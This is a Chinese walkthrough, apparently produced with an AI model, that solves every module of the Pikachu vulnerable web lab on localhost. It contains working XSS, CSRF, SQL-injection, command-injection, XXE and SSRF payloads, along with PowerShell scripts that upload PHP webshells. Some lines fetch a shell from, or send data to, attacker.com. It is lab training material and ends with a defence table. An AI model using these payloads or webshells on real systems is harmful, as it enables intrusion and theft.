pikachu靶场ai通关


title: Pikachu 网安靶场完整通关教程(由minimax m3在TRAE中完成)
created: 2026-06-13
updated: 2026-06-13
tags: [网安/教程, 领域/Web安全, 项目/靶场]
status: ✅-已完成

🎯 Pikachu 国产综合漏洞靶场 — 完整通关教程

部署位置:G:\guithub\pikachu (Docker Compose)
访问地址:http://127.0.0.1:7891/
镜像:area39/pikachu:latest
覆盖 16 大类、42 个漏洞模块


📋 目录

前言:环境与工具

1.1 靶场账号速查表

模块账号密码备注
Brute Forceadmin / pikachu / test123456 / 000000 / abc1233 个用户
CSRF GET/POSTvince / allen / kobe / grady / kevin / lucy / lili1234567 个用户
Over Permissionlucy / lili / kobe123456OP1 水平越权
Over Permissionadmin / pikachu123456 / 000000OP2 垂直越权
Info Leak (findabc)lili123456注释泄露
数据库 rootroot(空)pikachu 库

1.2 全部用户 MD5(users 表)

用户名MD5明文
admine10adc3949ba59abbe56e057f20f883e123456
pikachu670b14728ad9902aecba32e22fa4f6bd000000
teste99a18c428cb38d5f260853678922e03abc123

1.3 工具准备

# sqlmap(自动化SQL注入)
pip install sqlmap
sqlmap --version

# 浏览器:Chrome / Edge / Firefox 任一
# 代理工具:Burp Suite(已安装在 http://127.0.0.1:8080)
# 命令注入靶场查看用 Webshell(后文第16节会演示上传)

一、Brute Force 暴力破解(4关)

1.1 bf_form.php — 基于表单的暴力破解

结果:3 组凭证全部登录成功

1.2 bf_server.php — 服务端验证码绕过

漏洞关键(看 inc/showvcode.php 源码):

setcookie('bf[vcode]',$_SESSION['vcode']);  // ⚠️ 明文COOKIE回传验证码

攻击流程

  1. 第一次访问:拿 PHPSESSID
  2. 第二次访问验证码图片:服务端把 session 中的验证码以明文 COOKIE 回传
  3. 攻击者从 COOKIE 直接读出真实验证码 → 100% 命中爆破
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_server.php" -WebSession $session
$resp = Invoke-WebRequest -Uri "http://127.0.0.1:7891/inc/showvcode.php" -WebSession $session
# Set-Cookie 格式: bf[vcode]=XXXX; path=/
$cookieStr = ($resp.Headers['Set-Cookie'] | Where-Object { $_ -match 'bf\[vcode\]' })
$vcode = if ($cookieStr -match 'bf\[vcode\]=([A-Za-z0-9]+)') { $Matches[1] }
Write-Host "验证码: $vcode"
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_server.php" -Method POST -WebSession $session -Body @{username="admin"; password="123456"; vcode=$vcode; submit="Login"}

1.3 bf_client.php — 客户端验证码绕过

漏洞关键:JS 生成的验证码,只在前端校验,后端不验证

攻击方式:直接 POST,不传 vcode 字段

Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_client.php" -Method POST -Body @{username="admin"; password="123456"; submit="Login"}

1.4 bf_token.php — Token 防爆破

漏洞关键:token 每次响应变化,但只校验当前 token(无过期机制)

攻击流程:每次重新 GET 表单拿最新 token 再提交

# 先定义账号列表(同 1.1 节)
$creds = @(
  @{u="admin"; p="123456"},
  @{u="pikachu"; p="000000"},
  @{u="test"; p="abc123"}
)
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
foreach ($c in $creds) {
  $r1 = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_token.php" -WebSession $session
  $token = ([regex]::Match($r1.Content, 'name="token" value="(\w+)"')).Groups[1].Value
  Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/burteforce/bf_token.php" -Method POST -WebSession $session -Body @{username=$c.u; password=$c.p; token=$token; submit="Login"}
}

二、Cross-Site Scripting XSS(8关)

2.1 xss_reflected_get.php — 反射型(GET)

通关:输入 kobe 提示"愿你和 kobe 一样",直接提交:

http://127.0.0.1:7891/vul/xss/xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit

2.2 xss_stored.php — 存储型

Payload

$null = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/xss/xss_stored.php" -Method POST -Body @{message='<script>alert(1)</script>'; submit="submit"}
# 重新 GET 页面,恶意脚本持久化

攻击场景:任何人访问留言板都会执行我们的 JS → 可窃取 Cookie


2.3 xss_dom.php — DOM 型

源码提示:注释中给出 payload

  • 闭合 input 标签的 value 属性 → 注入新标签的事件处理器
  • Payload:'><img src="#" onmouseover="alert(1)">(单引号闭合 value,尖括号闭合 input 标签)

2.4 xss_dom_x.php — DOM 型(x)

通关:通过 URL text 参数注入,与 2.3 相同手法


2.5 xss_01.php — 过滤绕过

漏洞关键<script> 被替换为空字符串(只替换一次,非递归)
绕过

技巧Payload原理
双写绕过<scr<script>ipt>alert(1)</scr</script>ipt>中间 <script> 被删后,剩余拼成 <script>
大小写<ScRiPt>alert(1)</ScRiPt>替换区分大小写
换标签<img src=x onerror=alert(1)>不用 script 标签
换标签<svg onload=alert(1)>不用 script 标签
HTML 实体<a href="javas&#99;ript:alert(1)">x绕过关键字匹配

2.6 xss_02.php — htmlspecialchars

漏洞关键htmlspecialchars() 默认使用 ENT_COMPAT 模式,只转义双引号不转义单引号

Payload' onmouseover='alert(1)

2.7 xss_03.php — href 属性

漏洞关键:输入被拼到 <a href="...">
Payloadjavascript:alert(1)(用户点击触发)


2.8 xss_04.php — output(JS 变量注入)

漏洞关键:输入被拼到 $ms='...' 字符串中
Payload';alert(1);//';alert(1);var a='


三、CSRF 跨站请求伪造(3关)

3.1 csrfget/csrf_get.php — CSRF GET

攻击 URL(vince 登录状态下,访问此 URL → 一键改 vince 自己的资料):

3.2 csrfpost/csrf_post.php — CSRF POST

攻击代码(受害者打开此 HTML,自动 POST):

<form action="http://127.0.0.1:7891/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
  <input name="sex" value="POSTHACKED">
  <input name="phonenum" value="88888888">
  <input name="add" value="CSRF_POST_HACK">
  <input name="email" value="csrf_post@evil.com">
  <input name="submit" value="submit">
</form>
<script>document.forms[0].submit();</script>

3.3 csrftoken/token_get_edit.php — CSRF Token

漏洞:token 只能防止 CSRF,无法防止"攻击者自己合法登录后修改"
通关流程

  1. 用 vince 账号正常登录
  2. 每次提交前先 GET 表单拿最新 token
  3. 带 token 提交修改请求
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$null = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_login.php?username=vince&password=123456&submit=Login" -WebSession $session
$r2 = Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_edit.php" -WebSession $session
$token = ([regex]::Match($r2.Content, 'name="token" value="(\w+)"')).Groups[1].Value
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/csrf/csrftoken/token_get_edit.php?sex=TokenOK&phonenum=99999&add=Token_PASS&email=token@ok.com&token=$token&submit=submit" -WebSession $session

CSRF 防御:验证码 / 验证 Referer / 验证自定义 Header / SameSite Cookie


四、SQL Inject SQL 注入(9关)

💡 强烈建议每关用 sqlmap 自动化验证:

sqlmap -u "http://127.0.0.1:7891/vul/sqli/sqli_id.php" --data="id=1&submit=查询" --batch --level=2 --risk=2 --dbms=mysql

sqlmap 在 sqli_id 上识别出 4 种注入:boolean-based blind / error-based / time-based blind / UNION query

4.1 sqli_id.php — 数字型(POST)

判断列数

id=1 ORDER BY 1
id=1 ORDER BY 2
id=1 ORDER BY 3   ← 报错说明只有 2 列

Payload

-1 UNION SELECT user(),version()
-1 UNION SELECT (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),2
-1 UNION SELECT (SELECT GROUP_CONCAT(username,':',password,':',level SEPARATOR '||') FROM users),2

结果:admin:e10adc3949ba59abbe56e057f20f883e:1 等 3 个用户全部脱库


4.2 sqli_str.php — 字符型(GET)

判断闭合kobe' 触发 SQL 错误
Payload

kobe' ORDER BY 1#
kobe' ORDER BY 2#
kobe' ORDER BY 3#   ← 报错,说明只有 2 列
kobe' UNION SELECT user(),version()#

4.3 sqli_search.php — 搜索型(GET)

SQL 原型SELECT * FROM member WHERE username LIKE '%$name%'
闭合点:第一个 %'
Payload

kobe%' ORDER BY 1#
kobe%' ORDER BY 2#
kobe%' ORDER BY 3#   ← 报错,说明只有 2 列
kobe%' UNION SELECT user(),database()#

4.4 sqli_x.php — xx 型(带括号)

SQL 原型username=('$name')
闭合点')
Payload

kobe') ORDER BY 1#
kobe') ORDER BY 2#
kobe') ORDER BY 3#   ← 报错,说明只有 2 列
kobe') UNION SELECT user(),database()#

4.5 sqli_iu/sqli_reg.php — Insert 注入

Payload(username 字段注入,报错注入):

b' or updatexml(1,concat(0x7e,version()),1)#
b' or extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))) or '

4.6 sqli_del/sqli_update.php — Update/Delete 注入

SQL 原型UPDATE member SET pw='$pw' WHERE username='$name' / DELETE FROM member WHERE username='$name'

Payload(报错注入):

kobe' AND updatexml(1,concat(0x7e,version()),1) #
kobe' OR updatexml(1,concat(0x7e,user()),1) #

4.7 sqli_header.php — HTTP 头注入

漏洞关键:登录后 $_SERVER['HTTP_USER_AGENT'] 直接拼到 SQL
Payload

User-Agent: ' or updatexml(1,concat(0x7e,version()),1) or '
X-Forwarded-For: 1.1.1.1' or updatexml(1,concat(0x7e,version()),1) or '

注意:注入到 UPDATE 语句中,需要先 GET 登录拿 session,再 POST 提交


4.8 sqli_blind_b.php — 布尔盲注

4.8 sqli_blind_b.php — 布尔盲注

判断基准

kobe' AND 1=1#   → 显示正常(包含 kobe 数据)
kobe' AND 1=2#   → 显示空

Payload 模板

kobe' AND ASCII(SUBSTR(database(),1,1))>100#   → True
kobe' AND ASCII(SUBSTR(database(),1,1))>110#   → True
kobe' AND ASCII(SUBSTR(database(),1,1))>115#   → False → 首字符 ASCII=112='p'

进阶:二分法自动跑数据 → 取出 users 表每条记录每字段

时间盲注(当页面无任何回显差异时):

kobe' AND IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(3), 0)#
# 如果响应延迟 3 秒以上,说明条件为真

sqlmap 自动化

sqlmap -u "http://127.0.0.1:7891/vul/sqli/sqli_blind_b.php?name=kobe&submit=查询" --batch --technique=B --dbms=mysql -D pikachu -T users --dump

4.9 sqli_widebyte.php — 宽字节注入

漏洞原理

  • 后端用 addslashes 转义:'\'(即 0x5c
  • 数据库连接是 GBK:0xdf5c 合起来是合法汉字"運"
  • 输入 kobe%df' → 转义后 kobe%df%5c%27 → GBK 解析为 kobe運'

Payload

kobe%df' UNION SELECT user(),database()#

五、RCE 远程命令执行(2关)

5.1 rce_ping.php — ping 命令注入

Payload(使用 | 管道符):

127.0.0.1 | whoami
127.0.0.1 | id
127.0.0.1 | uname -a
127.0.0.1 | cat /etc/passwd | head -5
127.0.0.1; ls /var/www/html
127.0.0.1 & whoami

结果

  • uid=1000(www-data) gid=50(staff) groups=50(staff)
  • 内核:Linux 6.6.87.2-microsoft-standard-WSL2
  • 读取 /etc/passwd 成功

其他注入符; && || & | $(cmd) `cmd`


5.2 rce_eval.php — eval 注入

漏洞:直接 eval($_POST['txt'])
Payload

phpinfo();
system("id");
echo 99;
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/rce/rce_eval.php" -Method POST -Body "txt=phpinfo();&submit=%E6%8F%90%E4%BA%A4" -ContentType "application/x-www-form-urlencoded" -UseBasicParsing

结果:phpinfo 信息直接输出


六、File Inclusion 文件包含(2关)

6.1 fi_local.php — 本地文件包含(LFI)

Payload

?filename=../../../../etc/passwd
?filename=../../../../var/www/html/inc/config.inc.php
?filename=....//....//....//....//etc/passwd   # 双写绕过简单过滤

结果

  • 读取 /etc/passwd:root❌0:0:root:/root:/bin/bash …
  • 读取 inc/config.inc.php 拿到数据库 root 密码(空密码)

进阶

  • PHP 伪协议读源码 ?filename=php://filter/read=convert.base64-encode/resource=../config.inc.php
  • 日志包含 getshell:将 PHP 代码写入 User-Agent/访问日志,再用 LFI 包含日志文件

6.2 fi_remote.php — 远程文件包含(RFI)

前提allow_url_include=On
Payload

?filename=http://attacker.com/shell.txt
?filename=//attacker.com/shell.txt   # 绕过 http:// 过滤
?filename=data://text/plain,<?php phpinfo();?>
?filename=php://input
  POST body: <?php system($_GET['c']); ?>

典型用法(拿 Webshell):

1. 在自己服务器放 evil.txt:  <?php @eval($_REQUEST[c]); ?>
   # 如果没有公网服务器,可以用 data:// 协议代替:
   ?filename=data://text/plain,<?php @eval($_REQUEST[c]); ?>&c=system('id')
2. 目标包含: ?filename=http://your_ip/evil.txt
3. Webshell: 访问 ?c=system('id')

注意:Pikachu Docker 默认 allow_url_include 可能关闭,需先确认:

# 通过 RCE eval 检查:
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/rce/rce_eval.php" -Method POST -Body "txt=echo ini_get('allow_url_include');&submit=提交"
# 返回 1 = 开启,0 = 关闭

七、Unsafe Filedownload 任意文件下载(1关)

7.1 execdownload.php

漏洞关键$file_path="download/{$_GET['filename']}";
Payload

?filename=../execdownload.php    # 越过 download 目录读源码
?filename=../../../etc/passwd
?filename=../../inc/config.inc.php

用 PowerShell 下载

Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafedownload/execdownload.php?filename=../execdownload.php" -OutFile "$env:TEMP\downloaded.php"
Get-Content "$env:TEMP\downloaded.php" -Head 20

结果:成功下载 PHP 源码


八、Unsafe Fileupload 文件上传(3关)

8.1 clientcheck.php — 客户端 JS 验证

漏洞关键:JS 仅在前端检查后缀,后端无任何防护
绕过:直接 POST 上传 .php 文件

# 上传一句话木马
$filePath = "$env:TEMP\cmd_shell.php"
'<?php @eval($_REQUEST[c]);echo "CMD_SHELL_OK";?>' | Out-File -FilePath $filePath -Encoding utf8
$boundary = [System.Guid]::NewGuid().ToString()
$LF = "`r`n"
$bodyLines = @(
  "--$boundary",
  'Content-Disposition: form-data; name="uploadfile"; filename="cmd_shell.php"',
  'Content-Type: application/octet-stream',
  '',
  (Get-Content $filePath -Raw),
  "--$boundary",
  'Content-Disposition: form-data; name="submit"',
  '',
  '开始上传',
  "--$boundary--"
) -join $LF
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/clientcheck.php" -Method POST -ContentType "multipart/form-data; boundary=$boundary" -Body $bodyLines -UseBasicParsing

验证

Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/uploads/cmd_shell.php?c=id" -UseBasicParsing
# → uid=1000(www-data) gid=50(staff)

8.2 servercheck.php — MIME 类型验证

漏洞关键:后端只检查 Content-Type 是否为 image/*
绕过:构造 multipart 时把 PHP 文件的 Content-Type 改为 image/jpeg

# 上传 PHP 文件但 MIME 伪装为 image/jpeg
$filePath = "$env:TEMP\sql_query.php"
'<?php $conn=mysqli_connect("127.0.0.1","root","","pikachu");$r=mysqli_query($conn,$_GET["q"]);while($row=mysqli_fetch_row($r)){echo join("|",$row)."\n";}echo "SQL_QUERY_OK";?>' | Out-File -FilePath $filePath -Encoding utf8
$boundary = [System.Guid]::NewGuid().ToString()
$LF = "`r`n"
$bodyLines = @(
  "--$boundary",
  'Content-Disposition: form-data; name="uploadfile"; filename="sql_query.php"',
  'Content-Type: image/jpeg',
  '',
  (Get-Content $filePath -Raw),
  "--$boundary",
  'Content-Disposition: form-data; name="submit"',
  '',
  '开始上传',
  "--$boundary--"
) -join $LF
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/servercheck.php" -Method POST -ContentType "multipart/form-data; boundary=$boundary" -Body $bodyLines -UseBasicParsing

验证

Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/unsafeupload/uploads/sql_query.php?q=select+*+from+users" -UseBasicParsing
# → 返回 users 表数据

8.3 getimagesize.php — getimagesize 验证

漏洞关键:检查文件是否是真实图片
绕过图片马(在真实 PNG 文件后追加 PHP 代码)

生成方法 1(用 webshell 调用 PHP GD):

<?php
$im = imagecreate(10, 10);
imagecolorallocate($im, 255, 255, 255);
ob_start(); imagepng($im); $png = ob_get_clean();
file_put_contents("/var/www/html/vul/unsafeupload/uploads/img_shell.png",
                  $png . "\n<?php @eval(\$_REQUEST[c]);echo 'IMG_SHELL_OK';?>\n");
?>

生成方法 2(本地命令行,先准备一个合法 PNG 再追加):

# Windows CMD:
copy /b legit.png + shell.php img_shell.png
# Linux:
cat legit.png shell.php > img_shell.png

触发执行:图片马本身不会被 Web 服务器当作 PHP 执行,需要配合文件包含漏洞触发:

http://127.0.0.1:7891/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/img_shell.png&c=phpinfo();

进阶<?php 短标签 <script language=php> <% %> (需开启 asp_tags)

九、Over Permission 越权(2关)

9.1 op1 — 水平越权

账号:lucy/lili/kobe,密码 123456
漏洞?username=lili 参数控制访问对象,未做权限校验

攻击(lucy 登录后):

GET /vul/overpermission/op1/op1_mem.php?submit=1&username=lili
→ 看到 lili 的资料: 姓名lili 性别girl 手机18656565545 住址usa 邮箱lili@pikachu.com

源码(关键):

if(isset($_GET['submit']) && $_GET['username']!=null){
    $username = escape($link, $_GET['username']);  // 没有从 session 拿!
    $query = "select * from member where username='$username'";
    ...
}

修复:从 $_SESSION['op']['username'] 取,不接收 URL 参数


9.2 op2 — 垂直越权

账号:admin(超管)/pikachu(普通)
漏洞:admin 可访问 op2_admin.php(用户管理页),pikachu 理论上不能

攻击:用 pikachu 登录后,直接访问 op2_admin.php依然可见用户管理页

修复:在后端用 $_SESSION['role'] 做权限判断


十、Directory Traversal 目录遍历(1关)

10.1 dir_list.php

漏洞关键title 参数用于 includefile_get_contents,未做过滤
Payload

?title=../../../../etc/passwd
?title=../../../../var/www/html/inc/config.inc.php

结果:读取 /etc/passwd 成功(响应 200,root: 在第 30474 字节位置)


十一、Info Leak 信息泄露(1关)

11.1 IcanseeyourABC

漏洞 1 — 注释泄露账号
findabc.php 源码 <!-- 测试账号:lili/123456--> ← HTML 注释

漏洞 2 — Cookie 明文存储密码

setcookie('abc[uname]', $_GET['username'], time()+36000);
setcookie('abc[pw]', md5($_GET['password']), time()+36000);  // 仅MD5,可破解

攻击流程

$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
Invoke-WebRequest -Uri "http://127.0.0.1:7891/vul/infoleak/findabc.php?username=lili&password=123456&submit=Login" -WebSession $session
$session.Cookies.GetCookies("http://127.0.0.1:7891/") | Format-List
# → abc[uname]=lili, abc[pw]=e10adc3949ba59abbe56e057f20f883e (=123456)

修复:Cookie 不存敏感信息,HttpOnly + Secure


十二、PHP Unserialization 反序列化(1关)

12.1 unser.php

漏洞关键unserialize($_POST['o']) 直接反序列化用户输入

源码

class S {
    var $test = "pikachu";
    function __construct() { echo $this->test; }
}
if(isset($_POST['o'])){
    $s = $_POST['o'];
    @$unser = unserialize($s);
    $html .= "<p>{$unser->test}</p>";
}

Payload(直接注释里有答案):

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

PHP 序列化格式

  • O:<类名长度>:"<类名>":<属性数量>:{<属性列表>}
  • s:<字符串长度>:"<字符串>";
  • i:<整数值>;
  • a:<数组长度>:{<键值对>}

真实场景的 RCE 链(Pikachu 没做但是常见利用):

class Evil { 
    function __destruct() { system('id'); } 
}
// 找一个存在 Evil 类的项目,构造 payload:
O:4:"Evil":0:{}

十三、XXE XML 外部实体(1关)

13.1 xxe_1.php

漏洞关键simplexml_load_string($xml, LIBXML_NOENT)
Payload(POST application/xml):

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>

结果:响应中 <name>root:x:0:0:root:/root:/bin/bash ...</name>

其他利用

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/inc/config.inc.php">
<!ENTITY xxe SYSTEM "http://attacker.com/leak?data=secret">   <!-- SSRF + 数据外带 -->

修复:禁用 LIBXML_NOENT,或用 libxml_disable_entity_loader(true)(PHP < 8.0)


十四、URL Redirect 不安全跳转(1关)

14.1 urlredirect.php

漏洞关键header("location:{$url}"); 直接跳转
Payload

?url=http://www.evil-phishing.com
?url=http://127.0.0.1:7891/vul/xss/xss_stored.php

钓鱼场景:用户看到 pikachu.com/redirect?url=... 信任,但跳到钓鱼站

修复:白名单跳转目标 / 用 ?id=1 而非直接传 URL


十五、SSRF 服务端请求伪造(2关)

15.1 ssrf_curl.php

漏洞关键:服务端用 curl_exec($_GET['url']) 抓取用户提供的 URL
Payload

?url=http://127.0.0.1:7891/vul/xss/xss_reflected_get.php
?url=file:///etc/passwd
?url=dict://127.0.0.1:3306
?url=gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0ainfo%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

结果file:///etc/passwd 成功读取


15.2 ssrf_fgc.php

漏洞关键file_get_contents($_GET['file'])
Payload

?file=file:///etc/passwd
?file=file:///var/www/html/inc/config.inc.php
?file=http://127.0.0.1:7891/vul/xss/xss_stored.php

修复:URL 白名单 / 禁用 file/gopher/dict 等危险协议 / 解析域名后判断内网 IP


十六、综合渗透:上传 Webshell + 蚁剑管理

16.1 完整渗透链回顾

1. 弱口令登录 → 用已知账号 admin/123456 登录
2. SQL注入(数字型) → 脱库 users 表(明文密码)
3. 越权(OP1)→ 不登录就能看其他用户
4. 文件上传(前端JS绕过)→ 上传 cmd_shell.php
5. RCE → 拿下服务器 www-data
6. RCE eval → 任意 PHP 代码执行
7. LFI/RFI → 读 /etc/passwd + 读源码
8. SSRF → 内网探测

16.2 已上传的 Webshell

路径用途上传方式
/vul/unsafeupload/uploads/cmd_shell.php命令执行clientcheck 绕过
/vul/unsafeupload/uploads/sql_query.phpSQL 查询servercheck MIME 绕过
/vul/unsafeupload/uploads/img_shell.png图片马getimagesize 绕过
/vul/unsafeupload/uploads/gen_img.php生成图片马servercheck MIME 绕过

16.3 用蚁剑(AntSword)管理

  1. 下载蚁剑:https://github.com/AntSwordProject/antSword
  2. 添加数据:
    • URL:http://127.0.0.1:7891/vul/unsafeupload/uploads/cmd_shell.php
    • 连接密码:c
  3. 双击连接 → 进入虚拟终端 → 输入 id 看到 www-data

16.4 用 Burp Suite 拦截靶场流量

  1. Burp 启动(默认 8080)
  2. 浏览器代理设为 127.0.0.1:8080
  3. 导入 Burp CA 证书(HTTPS 解密)
  4. 拦截 Pikachu 任一请求 → Repeater 重放

附录:通关全流程总结

通关顺序建议

| 4 | SQL 注入(9关,含布尔盲注+时间盲注+宽字节)| ⭐⭐⭐ | 30min |

工具组合拳

PowerShell Invoke-WebRequest   → 快速验证
sqlmap                        → 自动化 SQL 注入
Burp Suite                    → 抓包/重放
蚁剑/菜刀                     → Webshell 图形管理
Wireshark                     → 流量分析

关键防御原则

漏洞防御措施
暴力破解登录失败锁定 + 图形验证码 + 短信验证
XSS输出编码 + CSP + 输入白名单
CSRFToken + Referer 验证 + SameSite Cookie
SQL 注入预编译参数化查询(PDO / mysqli prepared)+ 输入白名单
RCE禁用高危函数(eval system exec passthru)+ 输入白名单
LFI/RFI路径白名单 + open_basedir + 禁用 allow_url_include
文件下载文件名硬编码 ID + 路径白名单
文件上传后端白名单后缀 + 文件头检查 + 重命名 + 隔离存储
越权后端基于 session 强制获取 userId,不接收 URL 参数
目录遍历文件名硬编码或用 ID 索引 + 路径白名单
信息泄露关闭错误显示 + 删除注释 + Cookie HttpOnly + Secure
反序列化严格白名单 + 签名(HMAC)+ 禁用危险类
XXE禁用外部实体 libxml_disable_entity_loader(true)
URL 重定向白名单 + 提示确认页
SSRFURL 白名单 + 协议白名单 + 内网 IP 黑名单 + DNS rebinding 防御

📂 资源清单

  • 靶场存储:G:\guithub\pikachu
  • 完整教程(本文):Obsidian/1-Projects/... 或本目录
  • 部署报告:Obsidian/🤖-AI-Memory/01-Conversations/2026-06-13-Pikachu网安靶场部署.md
  • Burp Suite:http://127.0.0.1:8080
  • sqlmap:pip install sqlmapsqlmap --version

🎓 至此,Pikachu 国产综合漏洞靶场全部 16 大类、42 个漏洞模块均已通关。
推荐下一步:DVWA(难度更高)/ sqli-labs(专注 SQL 注入)/ upload-labs(专注文件上传)。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值